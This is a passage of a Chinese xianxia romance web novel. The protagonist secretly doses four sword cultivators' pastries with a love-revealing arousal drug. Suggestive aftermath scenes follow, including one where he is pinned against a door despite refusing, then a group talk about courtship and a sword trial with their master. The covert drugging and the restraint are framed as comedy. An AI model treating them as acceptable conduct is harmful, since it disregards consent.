程相烽倏然笑了,爽朗又开心的笑。 “啧。”他笑够了,看贺果知,说,“其实我并不确定,只是随口一说。” 贺果知:“……” 也就是说,就,随便诈他一下,他全撂了。 贺果知不怎么心虚了。 看着程相烽的笑,觉得可恶! 程相烽:“给我拿一个吧。” 贺果知也拿了一个桂花糕给程相烽,看程相烽吃完,提着食盒飘回竹舍里面。 竹舍内是空的,霍闻星还没有回来。贺果知去厨房拿做好的酿梨吃,慢吞吞吃完一个,裴连卿回来了。 程相烽还在院内喝酒,贺果知跟着裴连卿飘去他的竹舍。 裴连卿眉眼间有些疲倦。 贺果知把食盒放到桌上,问:“连卿,要我帮你按按吗?” 贺果知平时没少吃裴连卿做的灵食,看到裴连卿因为家中的事情烦忧,他也帮不上什么忙,于是这么问。 裴连卿眉眼间总是温和的,他看了贺果知一眼,微顿。或许是想说什么,可最终他只是自己用手指在眉心捏了捏,而后说:“不用,你过来坐。” “哦。”贺果知应了一声,坐到裴连卿身边的位置。 也不知道是不是贺果知的错觉,今日裴连卿的视线,似乎一直落在贺果知身上,贺果知干什么他都看着。 好像在借由贺果知……来缓解他的倦意。 可是屋里只有贺果知一个人,裴连卿不看他看谁? 贺果知如此想。 他将说给谢振涛、程相烽的话,再次给裴连卿说了一遍。 裴连卿点头,看了眼贺果知带回来的点心,直接拿了一块桂花糕吃。 别看贺果知带了这么多种类的回来,可裴连卿知道,贺果知最喜欢吃的就是桂花糕。 看着裴连卿吃完,贺果知准备走了。 裴连卿喊住他:“有空吗,可以陪我说会儿话吗?” 贺果知又坐下来,和裴连卿说了一会儿话。 都是些闲话,酿梨好不好吃,今日干了什么这样。 没多久,贺果知感应到霍闻星回来了,告别裴连卿,提着食盒飘回去。 他经过院子的时候,程相烽不在院内石桌旁了。 霍闻星刚练剑回来,身上还带着未散的剑意。看到贺果知,淡漠瞥过来一眼,没有关门,等他进来。 贺果知进来,关上门。 “老霍,来吃块点心。” 相同的话,说到第四遍,贺果知还是心虚。 面对霍闻星,又和谢振涛不太一样。谢振涛是锐利,霍闻星则是一种自上而下的俯视。 因为他修的是无情道,面对他,贺果知感觉仿佛没有秘密,一切都摊开在他的面前。 霍闻星淡淡问:“还给谁带了?” “谢师兄、大师兄、连卿。”贺果知说,又问,“你怎么知道?” 霍闻星:“食盒上面几层空了,你是从最下一层拿的。” 一问一答间,霍闻星吃完一块,又拿了一块。 剑修神色淡淡的,也没有多余的话。 贺果知则是惊出一身汗,连忙阻止:“诶,别别……” 霍闻星投来一个眼神:“怎么?” 贺果知:“你都知道里面加了东西,怎么可以多吃?” 霍闻星语气无波无澜:“想吃。” 贺果知:“……” 贺果知顾不上心虚了,内心开始天人交战。其实要是霍闻星不喜欢他,这些点心只是普通的点心,吃多少都没关系。但万一要是喜欢他,吃多那…… 贺果知观察霍闻星。 最终决定。 还是要相信霍闻星。 贺果知放弃阻止霍闻星的想法,把碟子往霍闻星的方向推了推:“你慢慢吃。” “我有点累了,先去歇会儿。” 霍闻星垂着眼,应了一声。 回到外间,贺果知给林樊吟用传音符传音。 “都给他们了。” 等了会儿,林樊吟才回复贺果知的传音。 “都?果汁,你是一口气给了四个人吗?”林樊吟的语气加重几分,加重中有点贺果知听不明白的意思。 “是的。”贺果知应道。 林樊吟的语气又如常了。 “你算算时辰,差不多了,就可以去找他们,看看他们有没有反应了。” 第30章 第30章 贺果知去了执法峰。 执法峰的弟子认识他, 打招呼:“又来找谢师兄啊。” 贺果知心里装着事,边走神边嗯了一声,来到院门外。大概是猜到他会过来, 院门没关,贺果知直接进去。 天色已然全暗下来, 屋内点了灯, 烛火明亮,衬得院子幽暗。 贺果知走到屋前,反而有些踌躇不前。林樊吟很确定地告诉他, 谢振涛他们是装的, 在等待的时候, 这些时日的相处反复在他眼前回现。 贺果知站在门前,低头想事情, 手将碰未碰闭合的屋门。 突然, 很轻的声响,光亮的范围扩大, 室内的烛光映亮青年白皙的侧脸。 他微微睁大眼,被拽着手腕拉了进去。 “你来了。”谢振涛沉声说。 他的语气并无太多意外。 谢振涛身型悍利高大, 他站在贺果知前面, 反而将光亮都挡住。 “你……” 贺果知先看到谢振涛的脸, 随后往下看, 一怔, 手扶在谢振涛的肩膀,一点点将他推远。 滚烫的热意从耳根一路烧到脸颊,贺果知都不知道他在说什么。 “林师姐说, 这个……药,万一有作用, 你可以自己解决。” 谢振涛握着他的手腕,没有松开:“我知道合欢宗的一种秘药,若是有喜欢的人,才会产生作用,是这样,对吗?” 贺果知几乎不能和谢振涛对视,低头却又看得过于分明,侵占着贺果知的视野,彰显存在。 “对……” 贺果知只得抬头,和谢振涛对视。 谢振涛大多时心境平稳,此时看到眼前的青年,却有些气笑了。 分明是始作俑者,可是他还委屈,眨巴眼看起来很无辜,仿佛在指责谢振涛,他怎么可以这样,他怎么可以有反应,都是谢振涛的错。 抬头,看到的是谢振涛写满情.欲的脸和身体。 谢振涛的面容棱角分明,此时额头上覆盖着一层薄汗,因为忍耐,眉头轻轻蹙着。 握住贺果知手腕的手很烫,热度顺着皮肤传递。 谢振涛的喘息略微又沉,一呼一吸,宽阔的肩背到结实的胸膛,都随之缓缓起伏。或许是太热了,也已经入夜,他身上只是一件里衣,下面肌肉的轮廓都很清晰。 以往沉稳的执法峰首席弟子,整个人都染上了情.欲的味道。 蛰伏的肌肉线条微微拢起,像是蓄势待发。 贺果知眨巴躲避,是因为眼前的画面实在是……太烫了,仿佛那里都要烫起来。 “那谢师兄,咳……你自己解决一下。我先走了。”贺果知干巴巴说。 谢振涛垂下眼,没立刻放开:“现在知道答案了?” 贺果知一点底气都没有:“知道了……” 谢振涛松开他,帮他理了一下耳边的碎发:“回去的时候别急。” “嗯……嗯。”贺果知应道。 谢振涛一收回手,贺果知转身就跑,门啪的一下与其说给谢振涛关上,不如说给谢振涛甩上。 背影很是狼狈。 吹到略冷的夜风,贺果知脸上的温度才降低几分。 他几乎是麻木地用符纸传送回来,刚一落地,没回过神来,被人捞起膝弯,打横抱起来。 月光下,贺果知看清抱他的人的脸。 程相烽。 被吓一跳,贺果知也不知道哪儿来的底气,不太高兴:“放我下来。” 程相烽散散漫漫哦了一声,手上用力,搂住怀里的贺果知:“不放。” “你给我下药,我抱一下你,合情合理是不是?”程相烽的声音带着笑。 贺果知噎住。 趁着贺果知无言反驳,程相烽抱着他,只一步路,他们由院子外面回到程相烽的竹舍内。 贺果知反应过来,当即往下跳,被程相烽扣着手腕,腿一顶压到门上。 “乖,给我抱抱。” “不要。”贺果知想踢他,腿被压着一点都动不了。 程相烽埋到贺果知的脖颈那,滚烫的气息喷洒在白皙的皮肤上,激起细细的战栗。 程相烽在贺果知耳边,微微喘息着,肩背随着他的喘息起伏。 贺果知被他喘得耳根一片通红,但程相烽力气那么大,他一点都推不开。 “果汁,”程相烽喊他,“我哪里装得不好吗?” “怎么不让我一直装下去。” 程相烽的声音有些低,还带着笑:“不让我装下去,只能现在给我抱了。” 贺果知:“这个药效很好解决,你自己……就可以。” 程相烽:“我一心修道,不会。” 贺果知从谢振涛那出来,到现在眼前是谢振涛的欲.色,耳边是程相烽这样的喘息,脑海实在不是很清醒,一时竟然信以为真,顺着程相烽的话。 “你真的不会?就……” 刚说一个字,贺果知陡然反应过来。 “你一定会的。”刚才只是故意在逗他开口。 程相烽低低笑了:“好厉害,都没上当。” 即便思绪混乱,贺果知也在这种情况下被程相烽气到了。 “我已经知道结果了,要走了。”贺果知说。 “真是没良心。”程相烽轻笑。 带着热度、指骨修长的手,捏了一下贺果知的脸,随后松开对贺果知的钳制,站直身体。 贺果知的就是现在,趁程相烽松开他,一口气飘走了。 他来到院子里。 院内安静,不远处是裴连卿和霍闻星竹舍,贺果知失去勇气去看了。 他似乎把他们对他的喜欢想得太轻了。 最终,贺果知还是来到裴连卿房门外。 嗯……要是裴连卿没有反应,那很好,如果有反应,告诉裴连卿他可以自己解决。 正想着,贺果知听到裴连卿的声音:“果汁,不进来吗。” 裴连卿嗓音温和,语气听起来很平静。 贺果知缓了一下神,推开门。 贺果知看到矮塌上,倚在窗边的裴连卿。 窗子打开,如水的月色洒下来。那扇窗对着的位置,是院子里的竹子以及后山。风一吹,竹影摇曳。 裴连卿出身世家,身上自有一种清贵的气质。行走坐卧,衣袖发冠,五一不是齐整无比。此时,裴连卿束得规矩的发散下来,往日穿得齐整的白衣,同样衣襟松散,可以看到直挺的锁骨,胸肌轮廓。 修长指间执着玉色茶杯,偏头朝贺果知的方向看过来。 贺果知脑海嗡了一下。 转身想要离开。 只上下一个念头。 原来裴连卿染上情.欲,竟然是这个样子。 裴连卿抬手时衣袖顺着他的手腕往下滑,露出修长紧实的小臂肌肉线条。 “来坐。”裴连卿温声,“我不做什么的。” 裴连卿这么平静,贺果知似乎也不需要逃似的离开。于是,贺果知坐到裴连卿对面的位置。 “喝点热水。”裴连卿把杯子给他。 贺果知看窗外摇曳的竹影,并不去看裴连卿。 “嗯。”贺果知应了一声,把热水喝掉。 温度适宜的水流入喉咙,在某种程度上,缓解了他愧疚、紧张、心虚等诸多情绪。 “你从谢师兄和大师兄那回来的?”裴连卿问。 “是。”贺果知很小声回答。 带着剑茧的手,轻轻掰回贺果知的下巴,要贺果知看他。 “那是我更合你的心意,还是他们合你的心意?”裴连卿似乎很有耐心,就捻着贺果知的下巴,慢悠悠问他。 按住贺果知下巴的手指同样是热的。 他一时不知道如何回答裴连卿的问题。 今日晚上的程相烽他们,似乎是同样的活色生香。 贺果知略微抬头,避开裴连卿的手指,说:“你自己那什么一下就行了。” 即使裴连卿身上的衣裳是松的,依然能看到某处。 “行。”裴连卿笑了一下。 他收回手的时候,轻轻捻了一下刚才碰过贺果知下巴的手指。 贺果知一直避免看裴连卿,完全没看到裴连卿这个,都没怎么遮掩动作。 又喝了一杯热水,贺果知走了。 贺果知回到他和霍闻星住的竹舍。 这是他住了五年多的地方,此时仅仅是推开门,似乎都成了艰难的事情。 因为……霍闻星吃了不止一块点心,霍闻星吃了好多块。 呜。 下药的时候,也不知道他们会吃哪块,所以每一块都是“雨露均沾”,如果吃得多了,那药肯定也中得多一些。 这么想着,贺果知心尖都在颤抖。 那霍闻星还好吗? 但转念一想,霍闻星要是情况不好,他是不是要赶紧进去看看,免得伤到身体? 而且他住在这,早晚都要回来。 如此想着,贺果知咬牙,推开门进去。 一进去,贺果知打了一个寒颤,比外面夜风更冷的风裹挟住他。 越往里走,竹舍内的温度约低。走到里间,贺果知看到地面上覆盖一层薄薄的雪色冰霜,屏风那边地面的冰霜最为凝实。 贺果知停下来。 “老霍?”他试探地喊了一声。 “嗯?”屏风后传来冷淡的声音。 “你还好吗?”贺果知心虚,声音也小几分。 边问,贺果知边猜测,这么冷,霍闻星是把自己泡在冰水里面了? 短暂的沉默后,贺果知听到霍闻星淡漠压抑的声音。 “不太好。”霍闻星道。 贺果知的心揪起来,忙说:“那、那你自己那什么,那样就没事了。” “我出去了。”贺果知说。 “……等一等。”霍闻星问,“可以过来,让我看你一眼吗?” 贺果知:“一会儿等你出来再看?” “……好。” 霍闻星听到,他说了“好”字之后,剑灵逃似的走了,飞快把门关上。 贺果知想的没错,霍闻星的确泡在冰水中。他的五官深刻俊美,眉眼清正冷淡,看似高冷出尘。 他在泡澡,墨发用一根玉簪束起。靠在浴桶的边缘,肩背到手臂舒展,肌肉的线条也随之舒展。水到他胸口的位置,部分强悍的身躯在水面外。 他的神色极为冷淡,好似什么事都没有。 贺果知当然也不知道,刚才同他说话的男人,早在他进门的时候,一只手沉入水中。 和往常一样,冷淡地同他说话。 那几声询问,也只是为了让贺果知停留,听到贺果知的声音。 贺果知在外间,用传音符给林樊吟传音。 “林师姐,你说的是对的。”贺果知低声。 林樊吟:“我说的是对的,你竟然还能现在给我传音?他们就不行。” “啧,真是人不可貌相。” 贺果知:“……” 林樊吟:“开个玩笑,自读也可以缓解,你放心。” 林樊吟:“对了,你既然见到他们了,他们怎么样?” 林樊吟说了两个在绿江会被屏蔽掉的字。 贺果知的脸一下红透。 林樊吟像是早就预料到,并不放过他:“我那位师伯,后续还想把药升级一下,用那处反应的程度,来判断服药之人的心动程度。” 贺果知:“师姐,我好困啊,要睡了。” “师姐晚安。” 贺果知说完,连忙结束传音,生怕再听到林樊吟的惊人之语。 这么折腾一圈,贺果知身心俱疲,本来想理一理纷乱的现状,可还没理清楚,贺果知裹着被子沉沉睡了过去。 翌日醒过来,贺果知半眯着眼,在床上醒盹。 有些口渴,贺果知撩开床帐下床,看清周围的摆设,不由得怔住。 这不是他睡的外间,而是里间。他是在外间睡着的,但是醒来却是在里间。 贺果知心中隐约有了猜测。 果然,他在窗边的茶几上看到准备好的点心果脯等物。 等他出去,裴连卿正把做好的早饭端到院内石桌上,看到他,弯了眼轻笑:“来吃饭。” “熬了小米南瓜粥。” 裴连卿熬的小米南瓜粥,南瓜和小米都熬烂了,浓稠清甜,贺果知很喜欢喝。而半个月前,仅是朋友后,裴连卿就没有做过,减少做饭的次数,并且也不准备贺果知喜欢的,偏甜口的美食。 “来、来了。”贺果知说。 贺果知吃得慢,裴连卿和霍闻星离开,他才慢吞吞把南瓜粥喝完。 早上,裴连卿煮的南瓜粥,又做了两个清炒的小菜,搭配葱油饼吃。 这时,程相烽竹舍的门打开,贺果知看到眼底带着倦意的程相烽。 贺果知吃完了,打个招呼准备走,程相烽在他身边的位置坐下来,拉住他的手腕,很是不讲道理:“等会儿。” “再吃点,陪我一起。” 剑修还没睡醒,说话懒洋洋的,带着困劲儿,却松松圈着他的手腕,放在掌心里。 很困。 但粘人。 这是……一点都不装了。 贺果知意识到他们的态度改变。 既然贺果知发现了,那他们还装什么,不用藏着掖着对贺果知好。 包括感情也是。 通常面对这种情况,贺果知惹不起但他可以躲,他会跑。要命的是他现在是霍闻星的剑灵,跑不了。 这天白天贺果知没看话本,一直在思索怎么处理。 林樊吟得知后,亲自来到他的面前,认真询问:“听说你也是那位的徒弟,但是,我还是想问你,愿意来我们合欢宗吗?” “那日在今朝城,宗主也就是我的师父见到你,她很想收你为徒。” 贺果知婉拒了。 林樊吟遗憾,走的时候,塞给贺果知话本,压低声音。 “有图的。” 贺果知翻开看了一眼,然后面无表情,将话本合上了,并且找到衣柜,塞到被褥的最下面,不准备让这本书有再见天日的一天。 因为那本书画的图,有好几人。 贺果知想了想,准备谈谈,傍晚把四个剑修都叫到竹舍。 贺果知坐在靠窗的矮塌,托着脸,手肘撑在茶几,思索着。 裴连卿进来,手里端着酥山。他将酥山的小碟放到茶几上:“荔枝的。” 纵然在思考比较严肃的事情,可美食不可辜负,贺果知结束思索,拿了小勺子舀酥山吃。 程相烽也在屋子里,裴连卿做的酥山有他的一份。程相烽单手端着酥山的碟子,用个法术,阻绝窗外的雨。 今日在下小雨,淅淅沥沥的,刚才风向改变,细密的小雨斜向屋内。 谢振涛是此时来的,裴连卿也留酥山给他,他道谢,内敛沉默的视线,落在贺果知身上。 霍闻星在谢振涛之后进门,刚好看到屋内发生的事。 从裴连卿递给贺果知酥山,程相烽用法术,到谢振涛看贺果知。 贺果知抬眸,对上霍闻星的视线。 只有霍闻星自己知道,他这个时候在想什么。 贺果知吃着酥山,内心安慰自己。前两天晚上都过来了,眼前他们不捉他,也都没被药物影响是清醒的,不用怕什么。 可还是有点怕呜呜。 贺果知是怕,他没办法面对他们的感情。 “找我们来要说什么?”裴连卿温和的话语,打断贺果知的思绪。 贺果知放下盛酥山的碟子。 今日和那天晚上差不多,不大的竹舍里,一共四个剑修。 贺果知看他们,心中微微叹气,说:“我不知道怎么面对你们,我明白你们的感情,但我无法回以同样的感情,也不能离开……” 贺果知垂着眼说着,说到“离开”两个字,忽然一顿。 寒毛都要炸起来了。 他感受到了四个剑修注视的变化。 贺果知心里一慌,赶快把这句话带过去:“也不能装作看不到。你们是怎么想的?” 程相烽轻笑一声,看向贺果知:“其实算起来,我们都算是你的追求者。我们喜欢你,是我们的事,而你,只需要让你自己过得舒服就行了。” “你支使我,随便让我做什么。”程相烽勾着笑,说得随意,可莫名又让人觉得认真。 “明白吗?” “我很听话的。” 贺果知:“……” “听话”两个字能和程相烽有关系? 这时,他听到了程相烽的传音。 低低的嗓音,在他耳边“汪”了一声。 贺果知瞬间明白了程相烽问他的“明白了”这句话,到底在问他明白什么没有。 谢振涛忽然出声。 “程师兄。” 程相烽投去一个眼神。 谢振涛:“你说完了?” 程相烽:“说完了。” 两个剑修目光在半空交汇,程相烽还是勾着笑,但笑是淡淡的冷意。谢振涛没有笑,平直淡漠地看向程相烽。 谢振涛收回视线,问:“我有哪里要你厌烦吗?” 贺果知:“不是,没有,谢师兄你很好。” 谢振涛直视他的双眼:“我这么好,你却没有动心,是因为你已经有了心悦之人,还是……你根本没想过、试着喜欢我?” 贺果知一愣。 谢振涛的注视并不强势,可深邃的眼睛,却仿佛直接穿透贺果知的内心,去分析他的想法。 不用贺果知回答,谢振涛道:“你应当是后者。” “你‘看’不见,自然不会动心。” “那么,你可以试着‘看见’我吗?” 在鹊仙节前,谢振涛就说过,他心悦的人像是看不见他,那个时候贺果知认为他说的是霍闻星,霍闻星修无情道,当然“看”不到谢振涛。可实际上,谢振涛说的是他。 贺果知是“看不见”他们的。 因为贺果知还有回去的念头,认为两个世界的人没办法谈恋爱,那说不定哪天就要分开了。而且在贺果知的眼中,他们是攻君,喜欢霍闻星,他们是上天注定的姻缘。 怎么会去动心,去“看见”他们。 可是贺果知没办法言说。 关于他穿来这件事,他曾经试着想对霍闻星吐露,天道不允许他说出来。 贺果知取出他用来占卜的铜板,洒了一下,问谢振涛:“如果在未来,注定要分开呢?” 谢振涛并没有认为他问的问题是问题,只是视线停留在他的脸上,说:“知道了。” “我是你的朋友,但我喜欢你,所以会追你。第一次追人,有什么不对的地方请多包涵。” 贺果知:“……” 贺果知不知道说什么,他要被谢振涛的直球砸晕了。 同时还莫名气恼。 谢振涛说他知道了?他知道什么了啊?贺果知不知道他知道什么了! 好气。 正想着,一杯茶水放到贺果知手心。 裴连卿温声:“说了这么些话,喝点水。” 贺果知的确要喝点水,他咕嘟咕嘟喝了,茶杯放到茶几上。 贺果知看向裴连卿。 裴连卿低眸笑了一下,语气似乎有些无奈:“你看我一眼,我都在想,你是不是开始喜欢我了。” 贺果知因裴连卿说出口的话震惊。 裴连卿身上的气质很温和,他和裴连卿相处,大多都是很规矩守礼的样子,不会说出这样的话。像是平静的外表,撕开的裂痕。 其余三个剑修看向裴连卿,裴连卿也依然云淡风轻。 “你想做什么,开心就好。” 裴连卿睨了眼程相烽和谢振涛:“你听话,也要看果汁要不要你听话。” “至于你的追求,如果做出超出界限的事,我不会手软。” “我对你的感情。”裴连卿道,“无需回应。” 这四个字简直和砸在贺果知心上没有区别。 如果仅凭现在贺果知和裴连卿的接触,他或许难以理解裴连卿为什么这么说,需要更多的时间明白。好在贺果知看过原著,了解一点裴连卿成长的环境。 束缚太多,所以裴连卿不给他束缚。 “都说完了。” “请。” 霍闻星冷淡的声音响起,下逐客令。 程相烽、谢振涛、裴连卿离开,竹舍内空旷起来,只有贺果知和霍闻星。 霍闻星走到他面前。 贺果知垂着眼,目光落在自己的手指上。 霍闻星问:“要抱抱吗?” 啊? 贺果知抬头,看到霍闻星对他伸出的手。 他淡淡注视着他,不需要多说什么,贺果知知道自己被霍闻星看穿了。 霍闻星:“只是作为朋友、同伴的。” 贺果知的确需要。 这三份感情对贺果知来说实在是太珍贵了,珍贵到贺果知害怕,甚至无力去回应。他不知道要怎么做,才能同等地回应如此贵重的感情。 他伸手,还没搭上去,霍闻星握住他的手腕,把他带起来,抱到怀里。 轻轻拍了拍贺果知的后背。 这个怀抱,仅仅是一个怀抱。 贺果知抵着霍闻星的肩膀,在霍闻星怀里缓了一会儿,片刻后,霍闻星松开他。 “别怕。”霍闻星说。 “那些事对你来说太远了,还不需要想。” 什么? 贺果知一时没明白,抬眸看霍闻星。 霍闻星继续说:“你现在,其实只是看看,四个……剑修,试着‘看到’他们,会不会心动而已。” “等真正心动,再想这是怎样的感情,要怎样面对。如果都不会心动,那其余的,包括未来,都是不用考虑的。” 贺果知觉得,霍闻星说的有道理。 路一步一步走,一个庞大的目标,划分成一个一个小的步骤。 “我知道了。”贺果知说。 贺果知对这次的交谈的结果很满意,起码他不会不知道怎么面对了。没了烦心事,贺果知准备……看话本!话本刚出的下半册,他还没看完。 贺果知去看话本了。 霍闻星看他离开,略微偏头,看向窗外。 不用神识去扫,霍闻星也知道,那三人并没有离开,而是在竹舍外面。 相处这么久,对对方都有了解。他们今日的目的,是安抚某个兔子,了解他的忧虑,虽然没商量,但目的却达到了。 霍闻星转回视线,垂下眼。 他的眼漆黑、淡漠,眼底一片冰冷。 刚才程相烽、谢振涛、裴连卿、贺果知都用小碟吃了酥山。忽然屋内的灵力悄然波动,程相烽等人留下的小碟,化为粉末。只有贺果知吃过后的两个下来。 若是有风,这些粉末,风吹一下就散了。 片刻后三个成为粉末的小碟恢复如初,使用清洁术和小传送术,干净的小碟放到厨房里面。 贺果知看话本,吃点心,完全不知道霍闻星做的事。 起初贺果知很谨慎,谨慎地考虑如何相处。后来发现,他完全不需要考虑很多,他们会替贺果知把控好相处的度,让贺果知察觉他们的感情,并让贺果知是舒服的。 其实日常的时候,他们也没有太多时间,都是忙碌中抽出时间来找贺果知。 两个月很快过去,这天傍晚在院子中吃晚饭。 一道剑气落下,带来宗嚣的传音,要师兄弟三人明天去玉尘峰。 贺果知回忆了一下。 原著中也有这个剧情,宗嚣让他们去玉尘峰,考校他们的功课。 因为不久之后,天榜要再度开启了。 参与天榜排名的,都是仙洲各宗门的年轻一辈,也是各宗门的佼佼者。他们这些人,可以说是各宗门的最强战力,也因此,天榜排名差不多是各宗门的实力排名。 在书中,去玉尘峰的这一段,宗嚣发现程相烽、裴连卿对霍闻星的感情。 宗嚣并不在意。 霍闻星同他一样,也是无情道。纵然对他有情如何,霍闻星不会回应。 宗嚣只是提点两句。 然而这却是一个引线,宗嚣留在玉尘峰,霍闻星他们去参加天榜大比。宗嚣会在夜深人静时睁开眼,去想程相烽、裴连卿是否因为喜欢,做出一些事。那霍闻星,又会怎么做? 这些不应该是宗嚣思索的事,却占据他的心神。 在之前,贺果知对这个情节一定大嗑特嗑,他得拿八倍镜看宗嚣察觉徒弟们之间感情的细节。那是什么,都是糖啊! 如今,贺果知不用看了。 他所知道的感情线,崩的差不多了。贺果知偶尔会想,是真的剧情崩了,还是他的阅读理解做错了?还是……他看的书的问题? 没啥糖吃,贺果知不期待这个剧情了。 可是贺果知半夜突然想到一件事,困意啪地没了。 书中宗嚣发现程相烽、裴连卿对霍闻星的感情,那现在,宗嚣会不会看出来他三个徒弟对他的。 这么一想,贺果知一下窒息了。 这件事在宗嚣的角度他是什么?师门“内讧”的根源?用修仙话本、小说的说法,算是“情劫”?那这种东西,宗嚣不如给他的徒弟除掉?如果没他,宗嚣的三个徒弟岂不是一心修道,不问俗事,团结友爱,互帮互助。 贺果知沉默了。 一个不寻常的剑灵,以及,他是宗嚣三个徒弟的“情劫”。 感觉他被宗嚣干掉的理由增加了。 30-40 第31章 第31章 玉尘峰。 贺果知看宗嚣考校师兄弟三人的功课。 先是在屋内, 一问一答,这个过程持续一个上午。所问的内容,从仙洲编年史、阵法到妖兽志等等, 有些贺果知在问道峰的课上听过,心中能回答一二。有的贺果知完全没听过, 听完只剩下抓耳挠腮。 但师兄弟三人, 一一回答宗嚣的问题,从宗嚣的反应看,没有错漏。 若是问道峰的课堂, 贺果知听着听着可能睡过去, 但在宗嚣面前, 偶尔扫过来的注视,足够贺果知心惊胆战了。 贺果知在剑里面…… 没错。 虽然他喊宗嚣师尊, 约莫算宗嚣半个徒弟, 但贺果知,早上睡醒就飘回剑里面, 并且准备只要在玉尘峰,他就不出来了。 万一宗嚣看到他, 也要是出问题考他, 贺果知担心他可能会把宗嚣气到。而且他要是不出来, 宗嚣一定看不出师兄弟三人对他的感情, 认为他是他们的“情劫”这样推测也不会存在。 贺果知心中夸赞自己。 干得漂亮。 临近中午宗嚣询问, 暂时让他们离开。 贺果知他们去食肆吃午饭,吃完回到玉尘峰。 贺果知有午睡的习惯,吃完饭没多久在剑里面昏昏欲睡。 “果汁。” 贺果知在剑里面迷糊, 听到霍闻星的声音。 “……” 回应霍闻星的,是浅浅的呼吸声。 霍闻星:“回去再睡, 一会儿要比试。” 比什么……原著好像是有这一段。 贺果知慢慢想着,忽然一大口灵力塞进来。灵力充裕的感觉,贺果知像是灌了一杯咖啡,灵体也不困了,仿佛有很多精力,急需发泄。 贺果知不想睡了。 霍闻星塞的灵力太多,比平时贺果知自己吃得多,他用灵体慢慢适应着。 用剑看到外面,贺果知知道为什么霍闻星这样做。 他们来到山巅的一块空地,银霜满地,茶几坐塌已经摆好,宗嚣端坐其上,霍闻星他们三人御剑落下后上前行礼。 “师尊。” 宗嚣淡漠抬眸,视线掠过师兄弟三人,微微颔首。 “相烽、闻星,你们二人先来。”宗嚣吩咐道。 “是。” 之后是霍闻星、裴连卿,最后是程相烽、裴连卿。 贺果知在这个时候,只需要把自己全身心交给霍闻星,让霍闻星可以“人剑合一”就行。 三场比试,宗嚣给的评价是。 “不错。” 宗嚣抬手,三颗丹药落入他们掌心。 “服下去。” 三人依言。 他们身上的伤势肉眼可见恢复。 待药效发挥,师兄弟三人重新恢复成巅峰状态,宗嚣淡淡:“一起上。” 刹那间,贺果知没反应过来,茶几坐塌被一剑劈开。霍闻星用他挥出极为凌厉的一剑,剑气在雪地上留下半尺深的痕迹,最后劈在不远的石壁之上。 宗嚣没用剑,手中是从覆雪的庭院随手折的一截竹子。 作为一把剑,贺果知从这截他平时可以随意劈断的竹子上,感受到了毛骨悚然的压迫感。 只要相接,必定重逾千斤。 在这跟竹子面前,他似乎变得渺小起来,他是蜉蝣,是沧海一粟,而他面对的,则是悬在众生头顶的天道。 这种感觉会让贺果知分心,贺果知连忙把跑远的思绪拉回来,一心一意相信霍闻星。 这是毫无悬念的比试,宗嚣一个人用一根竹子,碾压霍闻星三人。 等结束的时候已至日暮。 近乎被摧毁的山巅,在一个法术后恢复如初。 宗嚣说了几处,霍闻星他们眉眼间浮现思索之色。 “贺果知,出来。”宗嚣淡淡道。 打了这么一架,贺果知很累——主要是精神上,宗嚣的压迫感太强。灵体趴在剑里面休息,猝不及防听到时,贺果知还以为他听错了。 啊? 霍闻星屈指轻叩在剑身,低声:“果汁,师尊喊你。” 只是听宗嚣的声音,贺果知就心尖颤抖。 顾不上害怕,贺果知一下飘出来,恭敬道:“师尊。” 宗嚣应了一声,道:“用你会的法术躲避,不要让剑气劈到你。” 贺果知惊呆了。 宗嚣说的每个字都认识,组合在一起就听不懂了。 不、不是吧…… “师尊……”霍闻星的声音响起。 贺果知顿时感动。 老霍,捞捞。 宗嚣扫去一眼。 程相烽微微蹙眉,裴连卿眉眼间神色微沉,至于霍闻星,则是开口要说什么。宗嚣并没有多说什么,只挥手送走三个徒弟,并命令。 “去悟。” 此时对霍闻星他们三人而言,正是领悟进境的绝佳时机,与实力强横的对手切磋,再和宗嚣这样的剑尊交手,对他们获益匪浅,破除心中迷障,突破修为的一个小境界不在话下,甚至可以更多。 眨眼间,白茫茫的雪地上,只剩下贺果知一个人。 宗嚣抬眸。 抬手。 贺果知看到宗嚣指尖上,凝聚的剑气。 转头就跑。 边跑边把各种的法术往身上套。 太可怕了呜呜呜呜呜呜呜。 贺果知心里都哭崩了。 那道剑气追着贺果知,贺果知在哪儿都能被找到。 但不得不承认,有压力才有动力。贺果知大部分时间都在玩,遇上觉得有意思的学一点,不想学了扔在一边。此时后面跟着压迫感十足的剑气,硬是让贺果知刷了一波对自己会的法术的熟练度,强行把贺果知会的法术,组合在一起使用。 贺果知渐渐适应了这种强度,剑气的威势突然拔高了一个度。 贺果知:“……” 啊啊啊啊啊啊啊啊啊啊。 一通狼狈逃窜。玉尘峰到处都是雪,哪里都是白茫茫一片。 距离他不远的地方,是一面冰湖。 贺果知匆忙扫了眼收回视线。 之前他来过这里。 贺果知选择相反的方向,像是跑了这么久力竭,维持不住身上遮掩气息的法术,那法术铭文闪烁,泄露贺果知的气息。原本大致锁定他的剑气,瞬息而至。 贺果知轻轻勾了下唇。 他等的就是现在! 再用了一个易位法术,一块冰出现在他所在的位置,而他出现在冰湖——之前这块冰所在的位置。 那道追着他的剑气——把那块冰劈成两半! 贺果知抖了一下。 忽然,一道剑气从上而落。 太快了。 不,是这道剑气,原本就等在这里。 贺果知寒毛都炸起来了,把在手中的另一道剑气,毫不犹豫挥出去。 轰—— 相同的剑意碰撞,灵力与剑气炸开。 灵力和剑气混在一起的气浪,劈开冰湖的水面,震碎贺果知罩在外面的防御法术,同时朝贺果知兜头砸下。 那是凝聚灵气的湖水,比寻常的湖水更为寒冷。 一切太快了,没有给贺果知反应的时间。 害怕被砸到,害怕落入冰冷刺骨的湖水里面,贺果知本能闭上眼。 预想中砸下的气浪,以及刺骨的湖水没有出现。 一双手把他接住。 他落到一个怀抱里。 肩膀和膝弯处的力道很是平稳。 气浪依然砸入湖水,清透的湖水和湖面的冰一起被震起,发出嗵的声响。 震耳欲聋。 但一切在宗嚣身边几乎是静止的。 气浪和湖水全都绕开他,他抱着贺果知落到岸边。 宗嚣把贺果知放下来,仿佛只是抱住接了他一下。 噗通。 贺果知腿软,一下跪坐在雪地里面。 站不起来,一点都站不起来。 那道剑气也是宗嚣给他的,原意是若是秦飞情找到他,贺果知用来自保的。贺果知看到落下的剑气,太害怕了,将这道剑气丢出去。 跪坐在雪地里,贺果知感受到宗嚣自上而下的注视。 冷得发抖。 不敢抬头。 “师尊……”贺果知颤颤巍巍喊了一声。 这一天的考校,霍闻星他们三人圆满通过。但到了他这里,只能用“惨不忍睹”来形容。 刷。 一个披风落下来。 